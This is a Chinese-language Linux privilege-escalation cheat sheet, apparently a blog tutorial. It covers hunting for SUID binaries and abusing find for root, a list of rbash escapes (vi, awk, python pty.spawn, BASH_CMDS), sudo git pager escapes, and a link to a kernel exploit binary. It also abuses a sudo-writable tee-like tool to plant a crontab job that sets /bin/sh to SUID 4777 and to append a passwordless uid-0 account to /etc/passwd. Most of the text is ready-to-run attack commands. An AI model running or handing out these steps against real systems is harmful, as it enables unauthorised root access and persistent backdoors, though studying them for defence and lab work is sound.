linux提权

1.suid提权

1
运行某些程序时暂时获得root的权限,例如ping(socket需要root才能运行)

搜索符合条件的可以用来提权的:

1
2
3
4
5
find / -perm -u=s -type f 2>/dev/null 
稍微解释下 在根目录里寻找用户权限为root的文件 2>/dev/null 这个是不显示报错信息
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -user root -perm -4000 -print 2>/dev/null
三种都可以

搜索可以提权的程序,一般有以下 :

1
nmap vim find Bash More Less Nano cp

举例:find提权

1
find / -perm -u=s -type f 2>/dev/null

图片

发现find可以利用

普通用户,进入到/tmp目录下,然后新建一个文件。

1
2
touch abcd
find abcd -exec whoami \;

图片

会发现已经是root权限

2.rbash绕过

1
rbash就是受限制的bash,一般管理员会限制很多命令,例如whoami cd cat等很多常用的命令,不过肯定会有命令可以使用,我们可以查看$PATH有哪些,或者自己挨个试  

1.

1
echo $PATH  #查看自己可以使用的命令

图片

1
less,ls,scp,vi

是我们可以用的
尝试用以下来绕过

#干就完事了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1.
vi test
:!/bin/sh
2.ed
3.ne
4. more less
more test 
!'sh'
5.
man ls
操作同more less
6.find
/usr/bin/find /etc/passwd  -exec whoami \;
/usr/bin/find /etc/passwd  -exec /bin/sh \;
7.nmap
低版本
8.awk
awk 'BEGIN {system("/bin/sh")}'
9.python
python -c "import os;os.system('whoami')"
python -c "import os;os.system('/bin/sh')"
python -c "import pty;pty.spawn('/bin/sh')"
10.ruby
11.perl
12.php
13.
BASH_CMDS[a]=/bin/sh;a

最后用13成功绕过了rbash,进入了bash

图片

3.

执行:

1
2
3
4
5
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

或者:PATH=$PATH:/bin
PATH=$PATH:/usr/bin

3.git提权

1
2
3
4
5
sudo git help config
!/bin/bash或者!'sh'完成提权

sudo git -p help
!/bin/bash

4.cve-2017-8917

Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

5.sudoer配置文件错误提权

5.1 基础知识

1
2
3
4
5
6
7
有的时候,普通用户经常要执行某个命令,但是经常需要sudo输入密码,我们就可以通过配置/etc/sudoers文件来实现普通用户某个命令权限的提升,但是如果一旦是给了用户写入的root权限,比如vi,那么这个普通用户一旦被入侵,就可以通过vi来提权
首先来看/etc/sudoers
chmod u+w /etc/shudoers
vi /etc/sudoers
看到这里
# User privilege specification
root ALL=(ALL:ALL) ALL

图片

1
2
3
4
root:代表用户
第一个ALL:之网络中的主机,我也不知道什么意思,但是这个all还是不动好了
第二个(ALL:ALL):指以谁的身份去执行,root就行了
第三个ALL:指所有的命令,可以自己制定,比如/bin/ls,/bin/nc

看下面的图:
代表了用户zaq可以以root的权限运行ls指令

图片

前边要加sudo,可以看到zaq用户成功查看了/root目录的结构

图片

sudo -l 显示出自己(执行 sudo 的使用者)的权限

图片

5.2 提权

1
2
如果这个/bin/ls变成了可以写入文件的命令会怎么办呢?比如:
/usr/bin/tee

使用crontab提权
基本过程:向定时任务执行脚本/etc/crontab文件中写入一个新的定时任务,然后通过teehee的sudo提升权限,再以 root身份写入crontab计划任务通过执行获取root权限

操作过程如下:
1、echo root chmod 4777 /bin/sh > /etc/crontab
2、sudo teehee /etc/crontab,然后写入的内容:* * * * * root chmod 4777 /bin/sh
(时间部分全部填写为*,默认这个定时任务每分钟执行一次。通过执行的脚本将 /bin/sh 的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限。)
3、ls -la /bin/sh
4、/bin/sh
图片

添加新用户提权

添加一个admin账户,然后使用teehee执行直接写入 passwd中,然后切换为创建的admin用户。

1、echo “test::0:0:::/bin/bash”
2、sudo teehee -a /etc/passwd
3、输入:test::0:0:::/bin/bash
4、然后ctrl+c退出,再su test切换用户,即可获得root权限

设置uid和gid都为0,那么这个用户就相当于root
格式:[用户名]:[密码]:[uid]:[gid]:[身份描述]:[主目录]:[登录的 shell]
5.2suid

图片

1
值得注意的是:chmod 4777 /bin/bash不会有这种效果